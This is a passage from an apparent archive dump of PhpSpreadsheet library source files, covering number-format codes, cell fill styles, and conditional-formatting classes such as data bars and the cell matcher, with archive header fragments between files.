??/??'; self::$builtInFormats[14] = self::FORMAT_DATE_XLSX14_ACTUAL; // Despite ECMA 'mm-dd-yy'; self::$builtInFormats[15] = self::FORMAT_DATE_XLSX15; self::$builtInFormats[16] = 'd-mmm'; self::$builtInFormats[17] = 'mmm-yy'; self::$builtInFormats[18] = 'h:mm AM/PM'; self::$builtInFormats[19] = 'h:mm:ss AM/PM'; self::$builtInFormats[20] = 'h:mm'; self::$builtInFormats[21] = 'h:mm:ss'; self::$builtInFormats[22] = self::FORMAT_DATE_XLSX22_ACTUAL; // Despite ECMA 'm/d/yy h:mm'; self::$builtInFormats[37] = '#,##0_);(#,##0)'; // Despite ECMA '#,##0 ;(#,##0)'; self::$builtInFormats[38] = '#,##0_);[Red](#,##0)'; // Despite ECMA '#,##0 ;[Red](#,##0)'; self::$builtInFormats[39] = '#,##0.00_);(#,##0.00)'; // Despite ECMA '#,##0.00;(#,##0.00)'; self::$builtInFormats[40] = '#,##0.00_);[Red](#,##0.00)'; // Despite ECMA '#,##0.00;[Red](#,##0.00)'; self::$builtInFormats[44] = '_("$"* #,##0.00_);_("$"* \(#,##0.00\);_("$"* "-"??_);_(@_)'; self::$builtInFormats[45] = 'mm:ss'; self::$builtInFormats[46] = '[h]:mm:ss'; self::$builtInFormats[47] = 'mm:ss.0'; // Despite ECMA 'mmss.0'; self::$builtInFormats[48] = '##0.0E+0'; self::$builtInFormats[49] = '@'; // CHT self::$builtInFormats[27] = '[$-404]e/m/d'; self::$builtInFormats[30] = 'm/d/yy'; self::$builtInFormats[36] = '[$-404]e/m/d'; self::$builtInFormats[50] = '[$-404]e/m/d'; self::$builtInFormats[57] = '[$-404]e/m/d'; // THA self::$builtInFormats[59] = 't0'; self::$builtInFormats[60] = 't0.00'; self::$builtInFormats[61] = 't#,##0'; self::$builtInFormats[62] = 't#,##0.00'; self::$builtInFormats[67] = 't0%'; self::$builtInFormats[68] = 't0.00%'; self::$builtInFormats[69] = 't# ?/?'; self::$builtInFormats[70] = 't# ??/??'; // JPN self::$builtInFormats[28] = '[$-411]ggge"年"m"月"d"日"'; self::$builtInFormats[29] = '[$-411]ggge"年"m"月"d"日"'; self::$builtInFormats[31] = 'yyyy"年"m"月"d"日"'; self::$builtInFormats[32] = 'h"時"mm"分"'; self::$builtInFormats[33] = 'h"時"mm"分"ss"秒"'; self::$builtInFormats[34] = 'yyyy"年"m"月"'; self::$builtInFormats[35] = 'm"月"d"日"'; self::$builtInFormats[51] = '[$-411]ggge"年"m"月"d"日"'; self::$builtInFormats[52] = 'yyyy"年"m"月"'; self::$builtInFormats[53] = 'm"月"d"日"'; self::$builtInFormats[54] = '[$-411]ggge"年"m"月"d"日"'; self::$builtInFormats[55] = 'yyyy"年"m"月"'; self::$builtInFormats[56] = 'm"月"d"日"'; self::$builtInFormats[58] = '[$-411]ggge"年"m"月"d"日"'; // Flip array (for faster lookups) self::$flippedBuiltInFormats = array_flip(self::$builtInFormats); } } /** * Get built-in format code. */ public static function builtInFormatCode(int $index): string { // Clean parameter $index = (int) $index; // Ensure built-in format codes are available self::fillBuiltInFormatCodes(); // Lookup format code if (isset(self::$builtInFormats[$index])) { return self::$builtInFormats[$index]; } return ''; } /** * Get built-in format code index. * * @return false|int */ public static function builtInFormatCodeIndex(string $formatCodeIndex) { // Ensure built-in format codes are available self::fillBuiltInFormatCodes(); // Lookup format code if (array_key_exists($formatCodeIndex, self::$flippedBuiltInFormats)) { return self::$flippedBuiltInFormats[$formatCodeIndex]; } return false; } /** * Get hash code. * * @return string Hash code */ public function getHashCode(): string { if ($this->isSupervisor) { return $this->getSharedComponent()->getHashCode(); } return md5( $this->formatCode . $this->builtInFormatCode . __CLASS__ ); } /** * Convert a value in a pre-defined format to a PHP string. * * @param null|bool|float|int|RichText|string $value Value to format * @param string $format Format code: see = self::FORMAT_* for predefined values; * or can be any valid MS Excel custom format string * @param ?array $callBack Callback function for additional formatting of string * * @return string Formatted string */ public static function toFormattedString(mixed $value, string $format, ?array $callBack = null): string { return NumberFormat\Formatter::toFormattedString($value, $format, $callBack); } protected function exportArray1(): array { $exportedArray = []; $this->exportArray2($exportedArray, 'formatCode', $this->getFormatCode()); return $exportedArray; } public static function getShortDateFormat(): string { return self::$shortDateFormat; } public static function setShortDateFormat(string $shortDateFormat): void { self::$shortDateFormat = $shortDateFormat; } public static function getLongDateFormat(): string { return self::$longDateFormat; } public static function setLongDateFormat(string $longDateFormat): void { self::$longDateFormat = $longDateFormat; } public static function getDateTimeFormat(): string { return self::$dateTimeFormat; } public static function setDateTimeFormat(string $dateTimeFormat): void { self::$dateTimeFormat = $dateTimeFormat; } public static function getTimeFormat(): string { return self::$timeFormat; } public static function setTimeFormat(string $timeFormat): void { self::$timeFormat = $timeFormat; } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Style/Fill.php000064400000022332151676714400017750 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Style; class Fill extends Supervisor { // Fill types const FILL_NONE = 'none'; const FILL_SOLID = 'solid'; const FILL_GRADIENT_LINEAR = 'linear'; const FILL_GRADIENT_PATH = 'path'; const FILL_PATTERN_DARKDOWN = 'darkDown'; const FILL_PATTERN_DARKGRAY = 'darkGray'; const FILL_PATTERN_DARKGRID = 'darkGrid'; const FILL_PATTERN_DARKHORIZONTAL = 'darkHorizontal'; const FILL_PATTERN_DARKTRELLIS = 'darkTrellis'; const FILL_PATTERN_DARKUP = 'darkUp'; const FILL_PATTERN_DARKVERTICAL = 'darkVertical'; const FILL_PATTERN_GRAY0625 = 'gray0625'; const FILL_PATTERN_GRAY125 = 'gray125'; const FILL_PATTERN_LIGHTDOWN = 'lightDown'; const FILL_PATTERN_LIGHTGRAY = 'lightGray'; const FILL_PATTERN_LIGHTGRID = 'lightGrid'; const FILL_PATTERN_LIGHTHORIZONTAL = 'lightHorizontal'; const FILL_PATTERN_LIGHTTRELLIS = 'lightTrellis'; const FILL_PATTERN_LIGHTUP = 'lightUp'; const FILL_PATTERN_LIGHTVERTICAL = 'lightVertical'; const FILL_PATTERN_MEDIUMGRAY = 'mediumGray'; public ?int $startcolorIndex = null; public ?int $endcolorIndex = null; /** * Fill type. */ protected ?string $fillType = self::FILL_NONE; /** * Rotation. */ protected float $rotation = 0.0; /** * Start color. */ protected Color $startColor; /** * End color. */ protected Color $endColor; private bool $colorChanged = false; /** * Create a new Fill. * * @param bool $isSupervisor Flag indicating if this is a supervisor or not * Leave this value at default unless you understand exactly what * its ramifications are * @param bool $isConditional Flag indicating if this is a conditional style or not * Leave this value at default unless you understand exactly what * its ramifications are */ public function __construct(bool $isSupervisor = false, bool $isConditional = false) { // Supervisor? parent::__construct($isSupervisor); // Initialise values if ($isConditional) { $this->fillType = null; } $this->startColor = new Color(Color::COLOR_WHITE, $isSupervisor, $isConditional); $this->endColor = new Color(Color::COLOR_BLACK, $isSupervisor, $isConditional); // bind parent if we are a supervisor if ($isSupervisor) { $this->startColor->bindParent($this, 'startColor'); $this->endColor->bindParent($this, 'endColor'); } } /** * Get the shared style component for the currently active cell in currently active sheet. * Only used for style supervisor. */ public function getSharedComponent(): self { /** @var Style $parent */ $parent = $this->parent; return $parent->getSharedComponent()->getFill(); } /** * Build style array from subcomponents. */ public function getStyleArray(array $array): array { return ['fill' => $array]; } /** * Apply styles from array. * * <code> * $spreadsheet->getActiveSheet()->getStyle('B2')->getFill()->applyFromArray( * [ * 'fillType' => Fill::FILL_GRADIENT_LINEAR, * 'rotation' => 0.0, * 'startColor' => [ * 'rgb' => '000000' * ], * 'endColor' => [ * 'argb' => 'FFFFFFFF' * ] * ] * ); * </code> * * @param array $styleArray Array containing style information * * @return $this */ public function applyFromArray(array $styleArray): static { if ($this->isSupervisor) { $this->getActiveSheet()->getStyle($this->getSelectedCells())->applyFromArray($this->getStyleArray($styleArray)); } else { if (isset($styleArray['fillType'])) { $this->setFillType($styleArray['fillType']); } if (isset($styleArray['rotation'])) { $this->setRotation($styleArray['rotation']); } if (isset($styleArray['startColor'])) { $this->getStartColor()->applyFromArray($styleArray['startColor']); } if (isset($styleArray['endColor'])) { $this->getEndColor()->applyFromArray($styleArray['endColor']); } if (isset($styleArray['color'])) { $this->getStartColor()->applyFromArray($styleArray['color']); $this->getEndColor()->applyFromArray($styleArray['color']); } } return $this; } /** * Get Fill Type. */ public function getFillType(): ?string { if ($this->isSupervisor) { return $this->getSharedComponent()->getFillType(); } return $this->fillType; } /** * Set Fill Type. * * @param string $fillType Fill type, see self::FILL_* * * @return $this */ public function setFillType(string $fillType): static { if ($this->isSupervisor) { $styleArray = $this->getStyleArray(['fillType' => $fillType]); $this->getActiveSheet()->getStyle($this->getSelectedCells())->applyFromArray($styleArray); } else { $this->fillType = $fillType; } return $this; } /** * Get Rotation. */ public function getRotation(): float { if ($this->isSupervisor) { return $this->getSharedComponent()->getRotation(); } return $this->rotation; } /** * Set Rotation. * * @return $this */ public function setRotation(float $angleInDegrees): static { if ($this->isSupervisor) { $styleArray = $this->getStyleArray(['rotation' => $angleInDegrees]); $this->getActiveSheet()->getStyle($this->getSelectedCells())->applyFromArray($styleArray); } else { $this->rotation = $angleInDegrees; } return $this; } /** * Get Start Color. */ public function getStartColor(): Color { return $this->startColor; } /** * Set Start Color. * * @return $this */ public function setStartColor(Color $color): static { $this->colorChanged = true; // make sure parameter is a real color and not a supervisor $color = $color->getIsSupervisor() ? $color->getSharedComponent() : $color; if ($this->isSupervisor) { $styleArray = $this->getStartColor()->getStyleArray(['argb' => $color->getARGB()]); $this->getActiveSheet()->getStyle($this->getSelectedCells())->applyFromArray($styleArray); } else { $this->startColor = $color; } return $this; } /** * Get End Color. */ public function getEndColor(): Color { return $this->endColor; } /** * Set End Color. * * @return $this */ public function setEndColor(Color $color): static { $this->colorChanged = true; // make sure parameter is a real color and not a supervisor $color = $color->getIsSupervisor() ? $color->getSharedComponent() : $color; if ($this->isSupervisor) { $styleArray = $this->getEndColor()->getStyleArray(['argb' => $color->getARGB()]); $this->getActiveSheet()->getStyle($this->getSelectedCells())->applyFromArray($styleArray); } else { $this->endColor = $color; } return $this; } public function getColorsChanged(): bool { if ($this->isSupervisor) { $changed = $this->getSharedComponent()->colorChanged; } else { $changed = $this->colorChanged; } return $changed || $this->startColor->getHasChanged() || $this->endColor->getHasChanged(); } /** * Get hash code. * * @return string Hash code */ public function getHashCode(): string { if ($this->isSupervisor) { return $this->getSharedComponent()->getHashCode(); } // Note that we don't care about colours for fill type NONE, but could have duplicate NONEs with // different hashes if we don't explicitly prevent this return md5( $this->getFillType() . $this->getRotation() . ($this->getFillType() !== self::FILL_NONE ? $this->getStartColor()->getHashCode() : '') . ($this->getFillType() !== self::FILL_NONE ? $this->getEndColor()->getHashCode() : '') . ((string) $this->getColorsChanged()) . __CLASS__ ); } protected function exportArray1(): array { $exportedArray = []; $this->exportArray2($exportedArray, 'fillType', $this->getFillType()); $this->exportArray2($exportedArray, 'rotation', $this->getRotation()); if ($this->getColorsChanged()) { $this->exportArray2($exportedArray, 'endColor', $this->getEndColor()); $this->exportArray2($exportedArray, 'startColor', $this->getStartColor()); } return $exportedArray; } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Style/ConditionalFormatting/ConditionalDataBar.php000064400000004052151676714400027041 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Style\ConditionalFormatting; class ConditionalDataBar { private ?bool $showValue = null; private ?ConditionalFormatValueObject $minimumConditionalFormatValueObject = null; private ?ConditionalFormatValueObject $maximumConditionalFormatValueObject = null; private string $color = ''; private ?ConditionalFormattingRuleExtension $conditionalFormattingRuleExt = null; public function getShowValue(): ?bool { return $this->showValue; } public function setShowValue(bool $showValue): self { $this->showValue = $showValue; return $this; } public function getMinimumConditionalFormatValueObject(): ?ConditionalFormatValueObject { return $this->minimumConditionalFormatValueObject; } public function setMinimumConditionalFormatValueObject(ConditionalFormatValueObject $minimumConditionalFormatValueObject): self { $this->minimumConditionalFormatValueObject = $minimumConditionalFormatValueObject; return $this; } public function getMaximumConditionalFormatValueObject(): ?ConditionalFormatValueObject { return $this->maximumConditionalFormatValueObject; } public function setMaximumConditionalFormatValueObject(ConditionalFormatValueObject $maximumConditionalFormatValueObject): self { $this->maximumConditionalFormatValueObject = $maximumConditionalFormatValueObject; return $this; } public function getColor(): string { return $this->color; } public function setColor(string $color): self { $this->color = $color; return $this; } public function getConditionalFormattingRuleExt(): ?ConditionalFormattingRuleExtension { return $this->conditionalFormattingRuleExt; } public function setConditionalFormattingRuleExt(ConditionalFormattingRuleExtension $conditionalFormattingRuleExt): self { $this->conditionalFormattingRuleExt = $conditionalFormattingRuleExt; return $this; } } phpspreadsheet/src/PhpSpreadsheet/Style/ConditionalFormatting/ConditionalFormatValueObject.php000064400000002113151676714400031034 0ustar00phpoffice<?php namespace PhpOffice\PhpSpreadsheet\Style\ConditionalFormatting; class ConditionalFormatValueObject { private string $type; private null|float|int|string $value; private ?string $cellFormula; public function __construct(string $type, null|float|int|string $value = null, ?string $cellFormula = null) { $this->type = $type; $this->value = $value; $this->cellFormula = $cellFormula; } public function getType(): string { return $this->type; } public function setType(string $type): self { $this->type = $type; return $this; } public function getValue(): null|float|int|string { return $this->value; } public function setValue(null|float|int|string $value): self { $this->value = $value; return $this; } public function getCellFormula(): ?string { return $this->cellFormula; } public function setCellFormula(?string $cellFormula): self { $this->cellFormula = $cellFormula; return $this; } } phpspreadsheet/src/PhpSpreadsheet/Style/ConditionalFormatting/ConditionalFormattingRuleExtension.php000064400000016635151676714400032335 0ustar00phpoffice<?php namespace PhpOffice\PhpSpreadsheet\Style\ConditionalFormatting; use PhpOffice\PhpSpreadsheet\Style\Conditional; use SimpleXMLElement; class ConditionalFormattingRuleExtension { const CONDITION_EXTENSION_DATABAR = 'dataBar'; private string $id; /** @var string Conditional Formatting Rule */ private string $cfRule; private ConditionalDataBarExtension $dataBar; /** @var string Sequence of References */ private string $sqref = ''; /** * ConditionalFormattingRuleExtension constructor. */ public function __construct(?string $id = null, string $cfRule = self::CONDITION_EXTENSION_DATABAR) { if (null === $id) { $this->id = '{' . $this->generateUuid() . '}'; } else { $this->id = $id; } $this->cfRule = $cfRule; } private function generateUuid(): string { $chars = str_split('xxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxx'); foreach ($chars as $i => $char) { if ($char === 'x') { $chars[$i] = dechex(random_int(0, 15)); } elseif ($char === 'y') { $chars[$i] = dechex(random_int(8, 11)); } } return implode('', $chars); } public static function parseExtLstXml(?SimpleXMLElement $extLstXml): array { $conditionalFormattingRuleExtensions = []; $conditionalFormattingRuleExtensionXml = null; if ($extLstXml instanceof SimpleXMLElement) { foreach ((count($extLstXml) > 0 ? $extLstXml : [$extLstXml]) as $extLst) { //this uri is conditionalFormattings //https://docs.microsoft.com/en-us/openspecs/office_standards/ms-xlsx/07d607af-5618-4ca2-b683-6a78dc0d9627 if (isset($extLst->ext['uri']) && (string) $extLst->ext['uri'] === '{78C0D931-6437-407d-A8EE-F0AAD7539E65}') { $conditionalFormattingRuleExtensionXml = $extLst->ext; } } if ($conditionalFormattingRuleExtensionXml) { $ns = $conditionalFormattingRuleExtensionXml->getNamespaces(true); $extFormattingsXml = $conditionalFormattingRuleExtensionXml->children($ns['x14']); foreach ($extFormattingsXml->children($ns['x14']) as $extFormattingXml) { $extCfRuleXml = $extFormattingXml->cfRule; $attributes = $extCfRuleXml->attributes(); if (!$attributes || ((string) $attributes->type) !== Conditional::CONDITION_DATABAR) { continue; } $extFormattingRuleObj = new self((string) $attributes->id); $extFormattingRuleObj->setSqref((string) $extFormattingXml->children($ns['xm'])->sqref); $conditionalFormattingRuleExtensions[$extFormattingRuleObj->getId()] = $extFormattingRuleObj; $extDataBarObj = new ConditionalDataBarExtension(); $extFormattingRuleObj->setDataBarExt($extDataBarObj); $dataBarXml = $extCfRuleXml->dataBar; self::parseExtDataBarAttributesFromXml($extDataBarObj, $dataBarXml); self::parseExtDataBarElementChildrenFromXml($extDataBarObj, $dataBarXml, $ns); } } } return $conditionalFormattingRuleExtensions; } private static function parseExtDataBarAttributesFromXml( ConditionalDataBarExtension $extDataBarObj, SimpleXMLElement $dataBarXml ): void { $dataBarAttribute = $dataBarXml->attributes(); if ($dataBarAttribute === null) { return; } if ($dataBarAttribute->minLength) { $extDataBarObj->setMinLength((int) $dataBarAttribute->minLength); } if ($dataBarAttribute->maxLength) { $extDataBarObj->setMaxLength((int) $dataBarAttribute->maxLength); } if ($dataBarAttribute->border) { $extDataBarObj->setBorder((bool) (string) $dataBarAttribute->border); } if ($dataBarAttribute->gradient) { $extDataBarObj->setGradient((bool) (string) $dataBarAttribute->gradient); } if ($dataBarAttribute->direction) { $extDataBarObj->setDirection((string) $dataBarAttribute->direction); } if ($dataBarAttribute->negativeBarBorderColorSameAsPositive) { $extDataBarObj->setNegativeBarBorderColorSameAsPositive((bool) (string) $dataBarAttribute->negativeBarBorderColorSameAsPositive); } if ($dataBarAttribute->axisPosition) { $extDataBarObj->setAxisPosition((string) $dataBarAttribute->axisPosition); } } private static function parseExtDataBarElementChildrenFromXml(ConditionalDataBarExtension $extDataBarObj, SimpleXMLElement $dataBarXml, array $ns): void { if ($dataBarXml->borderColor) { $attributes = $dataBarXml->borderColor->attributes(); if ($attributes !== null) { $extDataBarObj->setBorderColor((string) $attributes['rgb']); } } if ($dataBarXml->negativeFillColor) { $attributes = $dataBarXml->negativeFillColor->attributes(); if ($attributes !== null) { $extDataBarObj->setNegativeFillColor((string) $attributes['rgb']); } } if ($dataBarXml->negativeBorderColor) { $attributes = $dataBarXml->negativeBorderColor->attributes(); if ($attributes !== null) { $extDataBarObj->setNegativeBorderColor((string) $attributes['rgb']); } } if ($dataBarXml->axisColor) { $axisColorAttr = $dataBarXml->axisColor->attributes(); if ($axisColorAttr !== null) { $extDataBarObj->setAxisColor((string) $axisColorAttr['rgb'], (string) $axisColorAttr['theme'], (string) $axisColorAttr['tint']); } } $cfvoIndex = 0; foreach ($dataBarXml->cfvo as $cfvo) { $f = (string) $cfvo->children($ns['xm'])->f; $attributes = $cfvo->attributes(); if (!($attributes)) { continue; } if ($cfvoIndex === 0) { $extDataBarObj->setMinimumConditionalFormatValueObject(new ConditionalFormatValueObject((string) $attributes['type'], null, (empty($f) ? null : $f))); } if ($cfvoIndex === 1) { $extDataBarObj->setMaximumConditionalFormatValueObject(new ConditionalFormatValueObject((string) $attributes['type'], null, (empty($f) ? null : $f))); } ++$cfvoIndex; } } public function getId(): string { return $this->id; } public function setId(string $id): self { $this->id = $id; return $this; } public function getCfRule(): string { return $this->cfRule; } public function setCfRule(string $cfRule): self { $this->cfRule = $cfRule; return $this; } public function getDataBarExt(): ConditionalDataBarExtension { return $this->dataBar; } public function setDataBarExt(ConditionalDataBarExtension $dataBar): self { $this->dataBar = $dataBar; return $this; } public function getSqref(): string { return $this->sqref; } public function setSqref(string $sqref): self { $this->sqref = $sqref; return $this; } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Style/ConditionalFormatting/CellMatcher.php000064400000023312151676714400025542 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Style\ConditionalFormatting; use PhpOffice\PhpSpreadsheet\Calculation\Calculation; use PhpOffice\PhpSpreadsheet\Calculation\Exception; use PhpOffice\PhpSpreadsheet\Cell\Cell; use PhpOffice\PhpSpreadsheet\Cell\Coordinate; use PhpOffice\PhpSpreadsheet\Style\Conditional; use PhpOffice\PhpSpreadsheet\Worksheet\Worksheet; class CellMatcher { public const COMPARISON_OPERATORS = [ Conditional::OPERATOR_EQUAL => '=', Conditional::OPERATOR_GREATERTHAN => '>', Conditional::OPERATOR_GREATERTHANOREQUAL => '>=', Conditional::OPERATOR_LESSTHAN => '<', Conditional::OPERATOR_LESSTHANOREQUAL => '<=', Conditional::OPERATOR_NOTEQUAL => '<>', ]; public const COMPARISON_RANGE_OPERATORS = [ Conditional::OPERATOR_BETWEEN => 'IF(AND(A1>=%s,A1<=%s),TRUE,FALSE)', Conditional::OPERATOR_NOTBETWEEN => 'IF(AND(A1>=%s,A1<=%s),FALSE,TRUE)', ]; public const COMPARISON_DUPLICATES_OPERATORS = [ Conditional::CONDITION_DUPLICATES => "COUNTIF('%s'!%s,%s)>1", Conditional::CONDITION_UNIQUE => "COUNTIF('%s'!%s,%s)=1", ]; protected Cell $cell; protected int $cellRow; protected Worksheet $worksheet; protected int $cellColumn; protected string $conditionalRange; protected string $referenceCell; protected int $referenceRow; protected int $referenceColumn; protected Calculation $engine; public function __construct(Cell $cell, string $conditionalRange) { $this->cell = $cell; $this->worksheet = $cell->getWorksheet(); [$this->cellColumn, $this->cellRow] = Coordinate::indexesFromString($this->cell->getCoordinate()); $this->setReferenceCellForExpressions($conditionalRange); $this->engine = Calculation::getInstance($this->worksheet->getParent()); } protected function setReferenceCellForExpressions(string $conditionalRange): void { $conditionalRange = Coordinate::splitRange(str_replace('$', '', strtoupper($conditionalRange))); [$this->referenceCell] = $conditionalRange[0]; [$this->referenceColumn, $this->referenceRow] = Coordinate::indexesFromString($this->referenceCell); // Convert our conditional range to an absolute conditional range, so it can be used "pinned" in formulae $rangeSets = []; foreach ($conditionalRange as $rangeSet) { $absoluteRangeSet = array_map( [Coordinate::class, 'absoluteCoordinate'], $rangeSet ); $rangeSets[] = implode(':', $absoluteRangeSet); } $this->conditionalRange = implode(',', $rangeSets); } public function evaluateConditional(Conditional $conditional): bool { // Some calculations may modify the stored cell; so reset it before every evaluation. $cellColumn = Coordinate::stringFromColumnIndex($this->cellColumn); $cellAddress = "{$cellColumn}{$this->cellRow}"; $this->cell = $this->worksheet->getCell($cellAddress); return match ($conditional->getConditionType()) { Conditional::CONDITION_CELLIS => $this->processOperatorComparison($conditional), Conditional::CONDITION_DUPLICATES, Conditional::CONDITION_UNIQUE => $this->processDuplicatesComparison($conditional), // Expression is NOT(ISERROR(SEARCH("<TEXT>",<Cell Reference>))) Conditional::CONDITION_CONTAINSTEXT, // Expression is ISERROR(SEARCH("<TEXT>",<Cell Reference>)) Conditional::CONDITION_NOTCONTAINSTEXT, // Expression is LEFT(<Cell Reference>,LEN("<TEXT>"))="<TEXT>" Conditional::CONDITION_BEGINSWITH, // Expression is RIGHT(<Cell Reference>,LEN("<TEXT>"))="<TEXT>" Conditional::CONDITION_ENDSWITH, // Expression is LEN(TRIM(<Cell Reference>))=0 Conditional::CONDITION_CONTAINSBLANKS, // Expression is LEN(TRIM(<Cell Reference>))>0 Conditional::CONDITION_NOTCONTAINSBLANKS, // Expression is ISERROR(<Cell Reference>) Conditional::CONDITION_CONTAINSERRORS, // Expression is NOT(ISERROR(<Cell Reference>)) Conditional::CONDITION_NOTCONTAINSERRORS, // Expression varies, depending on specified timePeriod value, e.g. // Yesterday FLOOR(<Cell Reference>,1)=TODAY()-1 // Today FLOOR(<Cell Reference>,1)=TODAY() // Tomorrow FLOOR(<Cell Reference>,1)=TODAY()+1 // Last 7 Days AND(TODAY()-FLOOR(<Cell Reference>,1)<=6,FLOOR(<Cell Reference>,1)<=TODAY()) Conditional::CONDITION_TIMEPERIOD, Conditional::CONDITION_EXPRESSION => $this->processExpression($conditional), default => false, }; } protected function wrapValue(mixed $value): float|int|string { if (!is_numeric($value)) { if (is_bool($value)) { return $value ? 'TRUE' : 'FALSE'; } elseif ($value === null) { return 'NULL'; } return '"' . $value . '"'; } return $value; } protected function wrapCellValue(): float|int|string { return $this->wrapValue($this->cell->getCalculatedValue()); } protected function conditionCellAdjustment(array $matches): float|int|string { $column = $matches[6]; $row = $matches[7]; if (!str_contains($column, '$')) { $column = Coordinate::columnIndexFromString($column); $column += $this->cellColumn - $this->referenceColumn; $column = Coordinate::stringFromColumnIndex($column); } if (!str_contains($row, '$')) { $row += $this->cellRow - $this->referenceRow; } if (!empty($matches[4])) { $worksheet = $this->worksheet->getParentOrThrow()->getSheetByName(trim($matches[4], "'")); if ($worksheet === null) { return $this->wrapValue(null); } return $this->wrapValue( $worksheet ->getCell(str_replace('$', '', "{$column}{$row}")) ->getCalculatedValue() ); } return $this->wrapValue( $this->worksheet ->getCell(str_replace('$', '', "{$column}{$row}")) ->getCalculatedValue() ); } protected function cellConditionCheck(string $condition): string { $splitCondition = explode(Calculation::FORMULA_STRING_QUOTE, $condition); $i = false; foreach ($splitCondition as &$value) { // Only count/replace in alternating array entries (ie. not in quoted strings) $i = $i === false; if ($i) { $value = (string) preg_replace_callback( '/' . Calculation::CALCULATION_REGEXP_CELLREF_RELATIVE . '/i', [$this, 'conditionCellAdjustment'], $value ); } } unset($value); // Then rebuild the condition string to return it return implode(Calculation::FORMULA_STRING_QUOTE, $splitCondition); } protected function adjustConditionsForCellReferences(array $conditions): array { return array_map( [$this, 'cellConditionCheck'], $conditions ); } protected function processOperatorComparison(Conditional $conditional): bool { if (array_key_exists($conditional->getOperatorType(), self::COMPARISON_RANGE_OPERATORS)) { return $this->processRangeOperator($conditional); } $operator = self::COMPARISON_OPERATORS[$conditional->getOperatorType()]; $conditions = $this->adjustConditionsForCellReferences($conditional->getConditions()); $expression = sprintf('%s%s%s', (string) $this->wrapCellValue(), $operator, (string) array_pop($conditions)); return $this->evaluateExpression($expression); } protected function processRangeOperator(Conditional $conditional): bool { $conditions = $this->adjustConditionsForCellReferences($conditional->getConditions()); sort($conditions); $expression = sprintf( (string) preg_replace( '/\bA1\b/i', (string) $this->wrapCellValue(), self::COMPARISON_RANGE_OPERATORS[$conditional->getOperatorType()] ), ...$conditions ); return $this->evaluateExpression($expression); } protected function processDuplicatesComparison(Conditional $conditional): bool { $worksheetName = $this->cell->getWorksheet()->getTitle(); $expression = sprintf( self::COMPARISON_DUPLICATES_OPERATORS[$conditional->getConditionType()], $worksheetName, $this->conditionalRange, $this->cellConditionCheck($this->cell->getCalculatedValue()) ); return $this->evaluateExpression($expression); } protected function processExpression(Conditional $conditional): bool { $conditions = $this->adjustConditionsForCellReferences($conditional->getConditions()); $expression = array_pop($conditions); $expression = (string) preg_replace( '/\b' . $this->referenceCell . '\b/i', (string) $this->wrapCellValue(), $expression ); return $this->evaluateExpression($expression); } protected function evaluateExpression(string $expression): bool { $expression = "={$expression}"; try { $this->engine->flushInstance(); $result = (bool) $this->engine->calculateFormula($expression); } catch (Exception) { return false; } return $result; } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Style/ConditionalFormatting/CellStyleAssessor.php000064400000002202151676714400026775 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Style\ConditionalFormatting; use PhpOffice\PhpSpreadsheet\Cell\Cell; use PhpOffice\PhpSpreadsheet\Style\Conditional; use PhpOffice\PhpSpreadsheet\Style\Style; class CellStyleAssessor { protected CellMatcher $cellMatcher; protected StyleMerger $styleMerger; public function __construct(Cell $cell, string $conditionalRange) { $this->cellMatcher = new CellMatcher($cell, $conditionalRange); $this->styleMerger = new StyleMerger($cell->getStyle()); } /** * @param Conditional[] $conditionalStyles */ public function matchConditions(array $conditionalStyles = []): Style { foreach ($conditionalStyles as $conditional) { if ($this->cellMatcher->evaluateConditional($conditional) === true) { // Merging the conditional style into the base style goes in here $this->styleMerger->mergeStyle($conditional->getStyle()); if ($conditional->getStopIfTrue() === true) { break; } } } return $this->styleMerger->getStyle(); } } phpspreadsheet/src/PhpSpreadsheet/Style/ConditionalFormatting/ConditionalDataBarExtension.php000064400000013027151676714400030661 0ustar00phpoffice<?php namespace PhpOffice\PhpSpreadsheet\Style\ConditionalFormatting; class ConditionalDataBarExtension { /** <dataBar> attributes */ private int $minLength; private int $maxLength; private ?bool $border = null; private ?bool $gradient = null; private ?string $direction = null; private ?bool $negativeBarBorderColorSameAsPositive = null; private ?string $axisPosition = null; // <dataBar> children private ConditionalFormatValueObject $maximumConditionalFormatValueObject; private ConditionalFormatValueObject $minimumConditionalFormatValueObject; private ?string $borderColor = null; private ?string $negativeFillColor = null; private ?string $negativeBorderColor = null; private array $axisColor = [ 'rgb' => null, 'theme' => null, 'tint' => null, ]; public function getXmlAttributes(): array { $ret = []; foreach (['minLength', 'maxLength', 'direction', 'axisPosition'] as $attrKey) { if (null !== $this->{$attrKey}) { $ret[$attrKey] = $this->{$attrKey}; } } foreach (['border', 'gradient', 'negativeBarBorderColorSameAsPositive'] as $attrKey) { if (null !== $this->{$attrKey}) { $ret[$attrKey] = $this->{$attrKey} ? '1' : '0'; } } return $ret; } public function getXmlElements(): array { $ret = []; $elms = ['borderColor', 'negativeFillColor', 'negativeBorderColor']; foreach ($elms as $elmKey) { if (null !== $this->{$elmKey}) { $ret[$elmKey] = ['rgb' => $this->{$elmKey}]; } } foreach (array_filter($this->axisColor) as $attrKey => $axisColorAttr) { if (!isset($ret['axisColor'])) { $ret['axisColor'] = []; } $ret['axisColor'][$attrKey] = $axisColorAttr; } return $ret; } public function getMinLength(): int { return $this->minLength; } public function setMinLength(int $minLength): self { $this->minLength = $minLength; return $this; } public function getMaxLength(): int { return $this->maxLength; } public function setMaxLength(int $maxLength): self { $this->maxLength = $maxLength; return $this; } public function getBorder(): ?bool { return $this->border; } public function setBorder(bool $border): self { $this->border = $border; return $this; } public function getGradient(): ?bool { return $this->gradient; } public function setGradient(bool $gradient): self { $this->gradient = $gradient; return $this; } public function getDirection(): ?string { return $this->direction; } public function setDirection(string $direction): self { $this->direction = $direction; return $this; } public function getNegativeBarBorderColorSameAsPositive(): ?bool { return $this->negativeBarBorderColorSameAsPositive; } public function setNegativeBarBorderColorSameAsPositive(bool $negativeBarBorderColorSameAsPositive): self { $this->negativeBarBorderColorSameAsPositive = $negativeBarBorderColorSameAsPositive; return $this; } public function getAxisPosition(): ?string { return $this->axisPosition; } public function setAxisPosition(string $axisPosition): self { $this->axisPosition = $axisPosition; return $this; } public function getMaximumConditionalFormatValueObject(): 